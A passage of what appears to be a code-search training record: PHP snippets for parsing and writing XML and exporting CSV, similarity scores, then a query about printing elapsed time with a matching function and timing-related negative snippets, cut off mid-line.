);\n $subElement->name = $sourceChild->textContent;\n\n $attributes = array( 'uri' => 'url', 'version' => 'version' );\n foreach ( $attributes as $name => $alias )\n {\n if ( $sourceChild->hasAttribute( $name ) )\n {\n $subElement->$alias = $sourceChild->getAttribute( $name );\n }\n }\n break;\n\n case 'logo':\n $subElement = $element->add( 'image' );\n $subElement->link = $sourceChild->textContent;\n break;\n\n case 'icon':\n $subElement = $element->add( 'icon' );\n $subElement->link = $sourceChild->textContent;\n break;\n\n case 'updated':\n $element->$tagName = $sourceChild->textContent;\n break;\n\n case 'category':\n $subElement = $element->add( $tagName );\n\n $attributes = array( 'term' => 'term', 'scheme' => 'scheme', 'label' => 'label' );\n foreach ( $attributes as $name => $alias )\n {\n if ( $sourceChild->hasAttribute( $name ) )\n {\n $subElement->$alias = $sourceChild->getAttribute( $name );\n }\n }\n break;\n\n case 'link':\n $subElement = $element->add( $tagName );\n\n $attributes = array( 'href' => 'href', 'rel' => 'rel', 'hreflang' => 'hreflang',\n 'type' => 'type', 'title' => 'title', 'length' => 'length' );\n\n foreach ( $attributes as $name => $alias )\n {\n if ( $sourceChild->hasAttribute( $name ) )\n {\n $subElement->$alias = $sourceChild->getAttribute( $name );\n }\n }\n break;\n\n case 'contributor':\n case 'author':\n $subElement = $element->add( $tagName );\n $this->parsePerson( $subElement, $sourceChild, $tagName );\n break;\n }\n }\n }\n }", "function simpleXMLToArray(SimpleXMLElement $xml,$attributesKey=null,$childrenKey=null,$valueKey=null){\n\n\t\tif($childrenKey && !is_string($childrenKey)){$childrenKey = '@children';}\n\t\tif($attributesKey && !is_string($attributesKey)){$attributesKey = '@attributes';}\n\t\tif($valueKey && !is_string($valueKey)){$valueKey = '@values';}\n\n\t\t$return = array();\n\t\t$name = $xml->getName();\n\t\t$_value = trim((string)$xml);\n\t\tif(!strlen($_value)){$_value = null;};\n\n\t\tif($_value!==null){\n\t\t\tif($valueKey){$return[$valueKey] = $_value;}\n\t\t\telse{$return = $_value;}\n\t\t}\n\n\t\t$children = array();\n\t\t$first = true;\n\t\tforeach($xml->children() as $elementName => $child){\n\t\t\t$value = simpleXMLToArray($child,$attributesKey, $childrenKey,$valueKey);\n\t\t\tif(isset($children[$elementName])){\n\t\t\t\tif(is_array($children[$elementName])){\n\t\t\t\t\tif($first){\n\t\t\t\t\t\t$temp = $children[$elementName];\n\t\t\t\t\t\tunset($children[$elementName]);\n\t\t\t\t\t\t$children[$elementName][] = $temp;\n\t\t\t\t\t\t$first=false;\n\t\t\t\t\t}\n\t\t\t\t\t$children[$elementName][] = $value;\n\t\t\t\t}else{\n\t\t\t\t\t$children[$elementName] = array($children[$elementName],$value);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\n\t\t\t\t$children[$elementName] = $value;\n\t\t\t}\n\t\t}\n\t\tif($children){\n\t\t\tif($childrenKey){$return[$childrenKey] = $children;}\n\t\t\telse{$return = array_merge($return,$children);}\n\t\t}\n\n\t\t$attributes = array();\n\t\tforeach($xml->attributes() as $name=>$value){\n\t\t\t$attributes[$name] = trim($value);\n\t\t}\n\t\tif($attributes){\n\t\t\tif($attributesKey){$return[$attributesKey] = $attributes;}\n\t\t\telse{$return = array_merge($return, $attributes);}\n\t\t}\n\n\t\treturn $return;\n\t}", "function data_element($element_name, $element_type) {\r\n\t\t$return_value = '';\r\n\t\t$element_name = (string) $element_name;\r\n\t\t$element_type = $this->data_type($element_type);\r\n\r\n\t\tif ($element_type != '') {\r\n\t\t\t$return_value = '<xsd:element name=\"' . $element_name . '\" type=\"' . $element_type . '\" />';\r\n\t\t} // end: if\r\n\r\n\t\treturn $return_value;\r\n\t}", "function extract_fputcsv($filePointer,$dataArray,$delimiter,$enclosure)\n {\n // $filePointer = the file resource to write to\n // $dataArray = the data to write out\n // $delimeter = the field separator\n \n // Build the string\n $string = \"\";\n \n // No leading delimiter\n $writeDelimiter = FALSE;\n foreach($dataArray as $dataElement)\n {\n // Replaces a double quote with two double quotes\n $dataElement=str_replace(\"\\\"\", \"\\\"\\\"\", $dataElement);\n \n // Adds a delimiter before each field (except the first)\n if($writeDelimiter) $string .= $delimiter;\n \n // Encloses each field with $enclosure and adds it to the string\n $string .= $enclosure . $dataElement . $enclosure;\n \n // Delimiters are used every time except the first.\n $writeDelimiter = TRUE;\n } // end foreach($dataArray as $dataElement)\n \n // Append new line\n $string .= \"\\n\";\n \n // Write the string to the file\n fwrite($filePointer,$string);\n }", "protected function build()\r\n {\r\n $tag = array_shift($this->attributes);\r\n $content = implode('', $this->childs);\r\n if (empty($tag) || $tag == 'dummy') {\r\n return $content;\r\n }\r\n $spaces = $this->tagdep != 0 ? PHP_EOL.str_repeat(\" \",abs($this->tagdep)) : '';\r\n $strTag = $spaces.'<'.$tag;\r\n foreach ($this->attributes as $key => $value) {\r\n if (is_object($value) && !method_exists($value, '__toString')) {\r\n $strTag .= ' error=\"Attribute value is object ('.get_class($value).')\"';\r\n continue;\r\n }\r\n $strTag .= ' '.$key.'=\"'.htmlspecialchars($value, ENT_QUOTES).'\"';\r\n // la conversione del contentuto degli attributi viene fornita da Tag in modo\r\n // tale che non debba essere gestito dai suoi figli\r\n /*$strTag .= ' '.$key.'=\"'.$val.'\"';*/\r\n }\r\n $strTag .= '>';\r\n \r\n if (!in_array($tag, ['input', 'img', 'link', 'meta'])) {\r\n $strTag .= $content . ($this->tagdep < 0 ? $spaces : '') .\"</{$tag}>\";\r\n }\r\n return $strTag;\r\n }", "function xml2array($contents, $get_attributes=1) {\n if(!$contents) return array();\n\n if(!function_exists('xml_parser_create')) {\n return array();\n }\n //Get the XML parser of PHP - PHP must have this module for the parser to work\n $parser = xml_parser_create();\n xml_parser_set_option( $parser, XML_OPTION_CASE_FOLDING, 0 );\n xml_parser_set_option( $parser, XML_OPTION_SKIP_WHITE, 1 );\n xml_parse_into_struct( $parser, $contents, $xml_values );\n xml_parser_free( $parser );\n\n if(!$xml_values) return;\n\n //Initializations\n $xml_array = array();\n $parents = array();\n $opened_tags = array();\n $arr = array();\n\n $current = &$xml_array;\n\n //Go through the tags.\n foreach($xml_values as $data) {\n unset($attributes,$value);//Remove existing values, or there will be trouble\n\n //This command will extract these variables into the foreach scope\n // tag(string), type(string), level(int), attributes(array).\n extract($data);//We could use the array by itself, but this cooler.\n\n $result = '';\n if($get_attributes) {//The second argument of the function decides this.\n $result = array();\n if(isset($value)) $result['value'] = $value;\n\n //Set the attributes too.\n if(isset($attributes)) {\n foreach($attributes as $attr => $val) {\n if($get_attributes == 1) $result['attr'][$attr] = $val; //Set all the attributes in a array called 'attr'\n /** :TODO: should we change the key name to '_attr'? Someone may use the tagname 'attr'. Same goes for 'value' too */\n }\n }\n } elseif(isset($value)) {\n $result = $value;\n }\n\n //See tag status and do the needed.\n if($type == \"open\") {//The starting of the tag '<tag>'\n $parent[$level-1] = &$current;\n\n if(!is_array($current) or (!in_array($tag, array_keys($current)))) { //Insert New tag\n $current[$tag] = $result;\n $current = &$current[$tag];\n\n } else { //There was another element with the same tag name\n if(isset($current[$tag][0])) {\n array_push($current[$tag], $result);\n } else {\n $current[$tag] = array($current[$tag],$result);\n }\n $last = count($current[$tag]) - 1;\n $current = &$current[$tag][$last];\n }\n\n } elseif($type == \"complete\") { //Tags that ends in 1 line '<tag />'\n //See if the key is already taken.\n if(!isset($current[$tag])) { //New Key\n $current[$tag] = $result;\n\n } else { //If taken, put all things inside a list(array)\n if((is_array($current[$tag]) and $get_attributes == 0)//If it is already an array...\n or (isset($current[$tag][0]) and is_array($current[$tag][0]) and $get_attributes == 1)) {\n array_push($current[$tag],$result); // ...push the new element into that array.\n } else { //If it is not an array...\n $current[$tag] = array($current[$tag],$result); //...Make it an array using using the existing value and the new value\n }\n }\n\n } elseif($type == 'close') { //End of tag '</tag>'\n $current = &$parent[$level-1];\n }\n }\n\n return($xml_array);\n}", "private function processAttrs(){\n\n\t\t$start = strlen($this->tag)+1;\n\t\t$temp = substr($this->raw,$start);\n\n\t\t//echo $temp . \"\\n\";\n\n\t\t$i=0;\n\t\tfor(; $i < strlen($temp); ){\n\t\t\tif($temp[$i] == '>') break;\n\t\t\t\t\n\t\t\t$pos = $this->skipWs($temp, $i);\n\t\t\t\t\n\t\t\t//echo \"should be r-{$temp[$pos]}\\n\";\n\t\t\t\t\n\t\t\t$pos2 = $this->skipToEqualOrWs($temp, $pos);\n\t\t\t\t\n\t\t\t//echo \"should be =-{$temp[$pos2]}\\n\";\n\t\t\t\t\n\t\t\t$attr = trim(substr($temp, $pos, $pos2 - $pos));\n\t\t\t\t\n\t\t\t//echo \"Got attribute-$attr\\n\";\n\t\t\t\t\n\t\t\tif(!empty($attr) && $pos2 < strlen($temp) && $temp[$pos2] == '='){\n\n\t\t\t\t//skip =\n\t\t\t\t$pos2++;\n\n\t\t\t\t$pos = $this->skipWs($temp, $pos2); //should be ' or \"\n\n\t\t\t\tif($temp[$pos] != '\"' && $temp[$pos] != \"'\"){\n\t\t\t\t\t//echo \"FAILED-{$temp[$pos]}\";\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\t$pos++; //skip the ' or \"\n\n\t\t\t\t$pos2 = $this->skipToQuote($temp, $pos, $temp[$pos-1]);\n\n\t\t\t\t$val = trim(substr($temp, $pos, $pos2-$pos),'\\'\"');\n\n\t\t\t\t$pos2++; //get past ' or \"\n\n\t\t\t\t$this->attributes[$attr] = $val;\n\n\t\t\t\t//echo \"$attr:$val\\n\";\n\t\t\t}\n\t\t\t$i = $pos2;\n\t\t}\n\t\t$this->textStart = $i+$start+1;\n\t}", "function print_Element($id, $sub, $value)\n{\n\t$elem = $this->elements[$id];\n\n if ($sub == 'lb') {\n print $elem['lb']? $elem['lb'] : $id;\n return;\n }\n elseif ($sub == 'value') {\n print $value;\n return;\n }\n\n\tif (\n\t\t($elem['escape'] \n\t\t\tor ($this->config['pclib.security']['tpl-escape'] and !$elem[\"noescape\"])\n\t\t) and is_string($value)\n\t) {\n\t\t$value = $this->escapeHtmlFunction($value);\n\t}\n\n\tswitch ($elem[\"type\"]) {\n\t\tcase \"number\":\n\t\t\t$this->print_Number($id,$sub,$value);\n\t\t\tbreak;\n\t\tcase \"string\":\n\t\t\t$this->print_String($id,$sub,$value);\n\t\t\tbreak;\n\t\tcase \"bind\":\n\t\t\t$this->print_Bind($id,$sub,$value);\n\t\t\tbreak;\n\t\tcase \"link\":\n\t\t\t$this->print_Link($id,$sub,$value);\n\t\t\tbreak;\n\t\tcase 'env':\n\t\t\t$this->print_Env($id,$sub,$value);\n\t\t\tbreak;\n\t\tcase 'class':\n\t\t\t$this->print_Class($id,$sub,null);\n\t\t\tbreak;\n\t\tcase 'include':\n\t\tcase 'action':\n\t\t\t$this->print_Action($id,$sub,null);\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tprint $value;\n\t\t\tbreak;\n\t}\n}", "function read_Content() {\n\n\t\tglobal $xml;\n\t\tglobal $test;\n\t\t$i = 0;\n\t\t\n\t\tforeach ($xml as $content):\n\t\n\t\t\t\n\t\t\tif ($test == \"pizza\"){\n\t\t\t\t\n\t\t\t\t$typ = $xml->category[$i]->attributes();\n\t\t\t\tif ($typ == 'pizza'){\n\t\t\t\t\techo \"Pizza Nr. \" . $i . \": <br>\";\n\t\t\t\t\t\n\t\t\t\t\t$name = $xml->category[$i]->name;\n\t\t\t\t\t$size = $xml->category[$i]->name->attributes();\n\t\t\t\t\t$price = $xml->category[$i]->price;\n\t\t\t\t\techo $name . \"<br>\";\n\t\t\t\t\techo \"Price: \" . $price . \"$<br>\";\n\t\t\t\t\techo \"Size: \" . $size . \"<br>----------------------------<br>\";\n\t\t\t\t}\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\tif ($test == \"spaghetti or ziti\"){\n\t\t\t\t\t\n\t\t\t\t$typ = $xml->category[$i]->attributes();\n\t\t\t\tif ($typ == 'spaghetti or ziti'){\n\t\t\t\t\t\t\n\t\t\t\t\techo \"Dish Nr. \" . $i . \": <br>\";\n\t\t\t\t\t$name = $xml->category[$i]->name;\n\t\t\t\t\t$size = $xml->category[$i]->name->attributes();\n\t\t\t\t\t$price = $xml->category[$i]->price;\n\t\t\t\t\techo $name . \"<br>\";\n\t\t\t\t\techo \"Price: \" . $price . \"$<br>\";\n\t\t\t\t\techo \"Size: \" . $size . \"<br>\";\n\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t\t\t\t\n\t\t\t$i++;\n\t\tendforeach;\t\n\t\t\n\t}", "function xml2assoc($xml) { \n\t\t$tree = null; \n\t\twhile($xml->read()) {\n\t\t\tswitch ($xml->nodeType) { \n\t\t\t\tcase XMLReader::END_ELEMENT: return $tree; \n\t\t\t\tcase XMLReader::ELEMENT: \n\t\t\t\t\t$node = array('tag' => $xml->name, 'value' => $xml->isEmptyElement ? '' : xml2assoc($xml)); \n\t\t\t\t\tif($xml->hasAttributes) {\n\t\t\t\t\t\twhile($xml->moveToNextAttribute()) {\n\t\t\t\t\t\t\t$node['attributes'][$xml->name] = $xml->value; \n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$tree[] = $node; \n\t\t\t\tbreak; \n\t\t\t\tcase XMLReader::TEXT: \n\t\t\t\tcase XMLReader::CDATA: \n\t\t\t\t\t$tree .= $xml->value; \n\t\t\t} \n\t\t}\n\t\treturn $tree; \n\t}", "function xml_append_instruction($xml_program,$xml_appender,$tokens,$counter){\n #Creating instruction element and it's attribute order\n $instruction_element = $xml_program->createElement('instruction');\n $instruction_att_order = $xml_program->createAttribute('order');\n $instruction_att_order->value = $counter;\n $instruction_element->appendChild($instruction_att_order);\n\n #Creating attribute opcode and appending it to instruction element\n $instruction_att_op_code = $xml_program->createAttribute('opcode');\n $instruction_att_op_code->value = strtoupper($tokens[1][0]);\n $instruction_element->appendChild($instruction_att_op_code);\n \n /*\n Looping through tokens and\n creating |arg(NUMBER)| [where (NUMBER) equals to arguments order 1st argument looks like:\n arg1] text element (it's value is literal), it's attribute |type| \n and appending |type| to |argument| as it's child. Then appending |arg(NUMBER)| to\n |instruction| element as it's child\n\n Simultaneosly generating needed types and literals with function get_types_and_literals($tokens)\n */\n foreach(array_slice($tokens[1],1) as $key => $value){\n $types_n_literals = get_types_and_literals($tokens);\n $instruction_elem_arg = $xml_program->createElement(\"arg\".strval($key + 1),htmlspecialchars($types_n_literals[1][$key]));\n $instruction_element->appendChild($instruction_elem_arg);\n $arg_attr = $xml_program->createAttribute(\"type\");\n $arg_attr->value = $types_n_literals[0][$key];\n $instruction_elem_arg->appendChild($arg_attr);\n }\n #Appending |instruction| element as $xml_appender child\n $xml_appender->appendChild($instruction_element);\n\n}", "public function toHtml() {\n\t\techo '<pre '.$this->getAttributes().'>'.$this->renderChildren().'</pre>';\n\t}", "function erp_make_csv_file( $items, $file_name, $field_data = true ) {\n $file_name = ( ! empty( $file_name ) ) ? $file_name : 'csv_' . date( 'd_m_Y' ) . '.csv';\n\n if ( empty( $items ) ) {\n return;\n }\n\n $columns = array_keys( $items[0] );\n\n header( 'Content-Type: text/csv; charset=utf-8' );\n header( 'Content-Disposition: attachment; filename=' . $file_name );\n\n $output = fopen( 'php://output', 'w' );\n\n $columns = array_map( function ( $column ) {\n $column = ucwords( str_replace( '_', ' ', $column ) );\n\n return $column;\n }, $columns );\n\n fputcsv( $output, $columns );\n\n if ( $field_data ) {\n foreach ( $items as $item ) {\n $csv_row = array_map( function ( $item_val ) {\n\n if ( is_array( $item_val ) ) {\n return implode( ', ', $item_val );\n }\n\n return $item_val;\n\n }, $item );\n\n fputcsv( $output, $csv_row );\n }\n }\n\n exit();\n}", "function write_domaine( $domaine ) {\r\n global $CFG;\r\n // initial string;\r\n $expout = \"\";\r\n // add comment\r\n // $expout .= \"\\n\\n<!-- domaine: $domaine->id -->\\n\";\r\n\t\t//\r\n\t\tif ($domaine){\r\n\t\t\t$id = $this->writeraw( $domaine->id );\r\n $code = $this->writeraw( trim($domaine->code_domaine) );\r\n $description_domaine = $this->writetext(trim($domaine->description_domaine));\r\n $ref_referentiel = $this->writeraw( $domaine->ref_referentiel );\r\n\t\t\t$num_domaine = $this->writeraw( $domaine->num_domaine );\r\n\t\t\t$nb_competences = $this->writeraw( $domaine->nb_competences );\r\n\r\n\t\t\t$type_domaine = $this->writeraw( trim($domaine->type_domaine));\r\n\t\t\t$seuil_domaine = $this->writeraw( trim($domaine->seuil_domaine));\r\n\r\n\t\t\t$minima_domaine = $this->writeraw( trim($domaine->minima_domaine));\r\n\r\n $expout .= \" <domaine>\\n\";\r\n\t\t\t// $expout .= \" <id>$id</id>\\n\";\r\n\t\t\t$expout .= \" <code_domaine>$code</code_domaine>\\n\";\r\n $expout .= \" <description_domaine>\\n$description_domaine</description_domaine>\\n\";\r\n $expout .= \" <type_domaine>$type_domaine</type_domaine>\\n\";\r\n $expout .= \" <seuil_domaine>$seuil_domaine</seuil_domaine>\\n\";\r\n $expout .= \" <minima_domaine>$minima_domaine</minima_domaine>\\n\";\r\n // $expout .= \" <ref_referentiel>$ref_referentiel</ref_referentiel>\\n\";\r\n $expout .= \" <num_domaine>$num_domaine</num_domaine>\\n\";\r\n $expout .= \" <nb_competences>$nb_competences</nb_competences>\\n\\n\";\r\n\r\n\t\t\t// LISTE DES COMPETENCES DE CE DOMAINE\r\n\t\t\t$compteur_competence=0;\r\n\t\t\t$records_competences = referentiel_get_competences($domaine->id);\r\n\t\t\tif ($records_competences){\r\n\t\t\t\t// DEBUG\r\n\t\t\t\t// echo \"<br/>DEBUG :: COMPETENCES <br />\\n\";\r\n\t\t\t\t// print_r($records_competences);\r\n\t\t\t\tforeach ($records_competences as $record_c){\r\n\t\t\t\t\t$expout .= $this->write_competence( $record_c );\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t$expout .= \" </domaine>\\n\\n\";\r\n }\r\n return $expout;\r\n }", "private function return_all(){\n\t\t$attributes=\"\";\n\t\tforeach($this->attr as $attr=>$val){\n\t\t\t$attributes.= (string)$attr.\"='\".preg_replace(\"/'/si\",\"\\'\",$val).\"' \";\n\t\t}\n\t\tif(!$this->self_closing){\n\t\t\t$content=\"\";\n\t\t\tforeach($this->content as $data){\n\t\t\t\t$content.=(string)$data;\n\t\t\t}\n\t\t\treturn \"<\".$this->type.\" \".$attributes.\">\".$content.\"</\".$this->type.\">\";\n\t\t}\n\t\telse{\n\t\t\treturn \"<\".$this->type.\" \".$attributes.\"/>\";\n\t\t}\n\t}", "function getCSVSimple2(){\r\n\t\tglobal $LANG;\r\n\r\n\t\t$csvdata = '';\r\n\t\t$csvheader = '';\r\n\t\t$delimeter = $this->extConf['CSV_qualifier'];\r\n\t\t$parter = $delimeter.$this->extConf['CSV_parter'].$delimeter;\r\n\t\t\r\n\t\t$csvheader = $this->q_data['header'].\"\\n\\n\";\r\n\t\t\r\n\t\t$fill_array = $this->createFillArray();\r\n\t\t//t3lib_div::devLog('getCSVSimple2 fill_array', 'ke_questionnaire Export Mod', 0, $fill_array);\r\n\t\t\r\n\t\tif (is_array($fill_array)){\r\n\t\t\t$headline = array();\r\n\t\t\tforeach ($fill_array as $question_id => $values){\r\n\t\t\t\tif ($values['title'] != ''){\r\n\t\t\t\t\tswitch ($values['type']){\r\n\t\t\t\t\t\tcase 'authcode':\r\n\t\t\t\t\t\tcase 'fe_user': \r\n\t\t\t\t\t\tcase 'start_tstamp':\r\n\t\t\t\t\t\tcase 'finished_tstamp':\r\n\t\t\t\t\t\t\t\t$headline[] = $values['title'];\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tcase 'closed':\r\n\t\t\t\t\t\t\tforeach ($values['answers'] as $a_id => $a_values){\r\n\t\t\t\t\t\t\t\t$answer = t3lib_BEfunc::getRecord('tx_kequestionnaire_answers',$a_id);\r\n\t\t\t\t\t\t\t\t$headline[] = $values['title'].'_'.$answer['title'];\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t/*case 'dd_pictures':\r\n\t\t\t\t\t\t\tforeach ($values['answers'] as $a_id => $a_values){\r\n\t\t\t\t\t\t\t\t$answer = t3lib_BEfunc::getRecord('tx_kequestionnaire_answers',$a_id);\r\n\t\t\t\t\t\t\t\t$headline[] = $values['title'].'_'.$answer['title'];\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\tbreak;*/\r\n\t\t\t\t\t\tcase 'matrix':\r\n\t\t\t\t\t\t\t//t3lib_div::devLog('getCSVSimple matrix', 'ke_questionnaire Export Mod', 0, $values);\r\n\t\t\t\t\t\t\tif (is_array($values['subquestions'])){\r\n\t\t\t\t\t\t\t\tforeach ($values['subquestions'] as $sub_id => $sub_values){\r\n\t\t\t\t\t\t\t\t\t$subl = t3lib_BEfunc::getRecord('tx_kequestionnaire_subquestions',$sub_id);\r\n\t\t\t\t\t\t\t\t\tforeach ($sub_values['columns'] as $col_id => $col_values){\r\n\t\t\t\t\t\t\t\t\t\t$col = t3lib_BEfunc::getRecord('tx_kequestionnaire_columns',$col_id);\r\n\t\t\t\t\t\t\t\t\t\t$headline[] = $values['title'].'_'.$subl['title'].'_'.$col['title'];\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tcase 'semantic':\r\n\t\t\t\t\t\t\tforeach ($values['subquestions'] as $sub_id => $sub_values){\r\n\t\t\t\t\t\t\t\t$subl = t3lib_BEfunc::getRecord('tx_kequestionnaire_sublines',$sub_id);\r\n\t\t\t\t\t\t\t\tforeach ($sub_values['columns'] as $col_id => $col_values){\r\n\t\t\t\t\t\t\t\t\t$col = t3lib_BEfunc::getRecord('tx_kequestionnaire_columns',$col_id);\r\n\t\t\t\t\t\t\t\t\t$headline[] = $values['title'].'_'.$subl['title'].'_'.$col['title'];\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tcase 'demographic':\r\n\t\t\t\t\t\t\t//t3lib_div::devLog('getCSVSimple2 demo', 'ke_questionnaire Export Mod', 0, $values);\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t\t// Hook to make other types available for export\r\n\t\t\t\t\t\t\tif (is_array($GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['ke_questionnaire']['CSVExportType2Headline'])){\r\n\t\t\t\t\t\t\t\tforeach($GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['ke_questionnaire']['CSVExportType2Headline'] as $_classRef){\r\n\t\t\t\t\t\t\t\t\t$_procObj = & t3lib_div::getUserObj($_classRef);\r\n\t\t\t\t\t\t\t\t\t$headline = $_procObj->CSVExportType2Headline($headline,$values);\r\n //t3lib_div::devLog('headline', 'ke_questionnaire Export Mod', 0, $headline);\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t} else {\r\n $headline[] = $values['title']; \r\n }\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t$csvheader .= $delimeter.implode($parter,$headline).$delimeter.\"\\n\";\r\n\t\tif (is_array($this->results)){\r\n\t\t\t$file_path = PATH_site.'typo3temp/'.$this->temp_file;\r\n\t\t\t$store_file = fopen($file_path,'r');\r\n\t\t\t//t3lib_div::devLog('simple 2 results', 'ke_questionnaire Export Mod', 0, $this->results);\r\n\t\t\tforeach ($this->results as $r_id => $r_values){\r\n\t\t\t\t$read_line = fgets($store_file);\r\n\t\t\t\t$csvdata .= $read_line;\r\n\t\t\t\t//t3lib_div::devLog('simple 2 '.$r_id, 'ke_questionnaire Export Mod', 0, array($read_line,$r_values));\r\n\t\t\t}\r\n\t\t\tfclose($store_file);\r\n\t\t}\r\n\t\r\n\t\treturn $csvheader.$csvdata;\r\n\t}", "function xmllist() {\n\t\tglobal $mysql;\n\t\t$result[$this->class_name()] = $mysql->select(\"SELECT * FROM \".$this->class_name, true);\n\t\t$output = XML::get($result);\n\t\treturn xml($output);\n\t}", "public function __toString()\n {\n return $this->saveXML();\n }", "function getFormattedLine($line)\n{\n global $tabtribes;\n \n $xmlkey = getXmlKey($line);\n \n $val = getXmlValue($xmlkey,$line);\n $val = str_replace(\",\",\" \",$val);\n $val = strtoupper($val);\n \n /* ----------------> erstmal deaktiviert!!!!\n // Tribes merken\n $tab = explode(\" \",$val);\n $max = count($tab);\n \n for ($t=0;$t<$max;$t++)\n {\n if (!isset($tabribes[$tab[$t]]))\n $tabtribes[$tab[$t]] = false;\n }\n ----------------------------------------< */\n \n // einige XML-Tags werden umbenannt\n if ($xmlkey == \"friendly\") $xmlkey = \"friend\";\n if ($xmlkey == \"aggressive\") $xmlkey = \"aggro\";\n \n $out = \" <\".$xmlkey.\">\".$val.\"</\".$xmlkey.\">\";\n return $out;\n}", "function startElement($parser,$name,$attrs) {\n $this->current_tag = $name;\n \n switch($name) {\n case 'PAGE' : {\n $this->current_block = $name;\n $this->page_name = isset($attrs['NAME']) ? $attrs['NAME'] : '';\n break;\n }\n case 'ROW' : {\n \t ## we need to set the row counter\n $this->current_block = $name;\n $this->row_name = isset($attrs['NAME']) ? $attrs['NAME'] : '';\n break;\n } \n default: {\n \t $this->current_block = $name;\n \t $this->element_object['TYPE'] = $name;\n \t \n while (list($key, $val) = each($attrs)) {\n \t$this->element_object[$key] = $val;\n }\n ## echo \"<br>\";\n }\n \n\t\t} \n\t}", "function toXML() {\n\t\treturn \"<row>\\n\" .\n\t\t\"<FiscaalGroepID>$this->FiscaalGroepID</FiscaalGroepID>\\n\" .\n\t\t\"<FiscaalGroupType>$this->FiscaalGroupType</FiscaalGroupType>\\n\" .\n\t\t\"<GewijzigdDoor>$this->GewijzigdDoor</GewijzigdDoor>\\n\" .\n\t\t\"<GewijzigdOp>$this->GewijzigdOp</GewijzigdOp>\\n\" .\n\t\t\"</row>\\n\";\n\t}", "function read_set_simplexml ($simplexml)\n\t {\n\t }" ]
[ "0.5839374", "0.58043367", "0.5491073", "0.54253215", "0.53501207", "0.534647", "0.5321869", "0.5294871", "0.5265646", "0.5258384", "0.52418387", "0.5230716", "0.51886255", "0.51862425", "0.5178092", "0.5151374", "0.5146139", "0.5125324", "0.51124746", "0.50958115", "0.5071435", "0.5067546", "0.5051498", "0.5044725", "0.50051624", "0.49993753", "0.49939513", "0.49889922", "0.49763533", "0.49760053", "0.4963525", "0.4946101", "0.49088898", "0.49074537", "0.4901671", "0.48911545", "0.4873252", "0.4871216", "0.48666587", "0.48643947", "0.48611358", "0.48398826", "0.48366636", "0.48347104", "0.48344424", "0.4829016", "0.4821153", "0.48204505", "0.48199448", "0.48197803", "0.4816982", "0.48129845", "0.4812203", "0.4797431", "0.47905615", "0.47887576", "0.47869802", "0.47859758", "0.47849643", "0.4779978", "0.47787675", "0.4774161", "0.47630617", "0.47608614", "0.47494218", "0.47296625", "0.47284213", "0.4727404", "0.4724531", "0.4723684", "0.47230133", "0.47208598", "0.4720805", "0.47194678", "0.47173935", "0.4717272", "0.4716668", "0.47149962", "0.4711703", "0.47115478", "0.4708625", "0.47059506", "0.47056806", "0.47050557", "0.47035393", "0.46952328", "0.46929947", "0.46910918", "0.46864095", "0.4685147", "0.46820384", "0.46669948", "0.46649283", "0.46618164", "0.4658388", "0.46555328", "0.46542394", "0.46540627", "0.4653316", "0.46494666", "0.46481043" ]
0.0
-1
print "Time to create: " . $diff>s . "seconds";
function createSaveForm($filename) { $filename = stripName($filename); echo "<br><button onclick='createXml()'>Save File As</button>"; echo "&nbsp<input type='text' id='fileName' onChange='validFileName()' value='$filename'>"; echo "<span id='validFile'></span><br />"; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function get_duration() {\n\t\t$a = explode (' ',microtime()); \n \t$this->stop_time = (double) $a[0] + $a[1];\n \t$this->duration = number_format(($this->stop_time - $this->start_time),2);\n\n\t\treturn sprintf('<h2>%s</h2><div class=\"summarize-posts-errors\">%s</div>'\n\t\t\t, __('Execution Time', CCTM_TXTDOMAIN)\n\t\t\t, sprintf(__('%s seconds', CCTM_TXTDOMAIN), $this->duration));\n\t}", "public function checktime($diff)\n {\n //$diffe = str_replace(\"T\", \" \", $temp[0]);\n $time = strtotime($diff); //prod server time\n $this->test = date(\"F j, Y, g:i a\", $time);\n $now = time();\n $minutes = ($time - $now) / 60;\n\n return $minutes;\n }", "function GetExecutionTime($start) \r\n{\r\n\t//return sprintf('%1.6f', (microtime(true) - $start)) . ' sec';\r\n\treturn (microtime(true) - $start) . ' sec';\r\n}", "static function ts(){\r\n $dt = microtime(true) - self::$starttime;\r\n return self::mtformat($dt);\r\n }", "function time_diff($start) {\n return formatDateTimeDiff($start);\n}", "function process($name, $start, $end){\n $time = $end - $start;\n echo \"Task: \" . $name . \"\\t\\t Time: \" . $time . \"\\n\";\n}", "private function _upTime() \n {\n return microtime(true) - $this->_startTime;\n }", "function printtimediff($start, $end = null) {\n\n\tif( ! $end )\t$end = time();\n\t$ret = '';\n\t$diff = $end - $start;\n\n\t$h = floor($diff/3600);\n\t$diff %= 3600;\n\tif($h > 0) {\n\t\t$ret .= $h.' h ';\n\t}\n\n\t$m = floor($diff/60);\n\t$diff %= 60;\n\tif ( $m > 0 ) {\n\t\t$ret .= $m.' m ';\n\t}\n\n\treturn $ret . $diff .' s';\n}", "function timestamp()\n {\n return microtime(true);\n }", "function timedifference($timedifference=0)\n{\n\tif ($timedifference < 60) {\n\t\t$timechange = number_format($timedifference, 0) . ' second';\n\t\tif ($timedifference > 1) 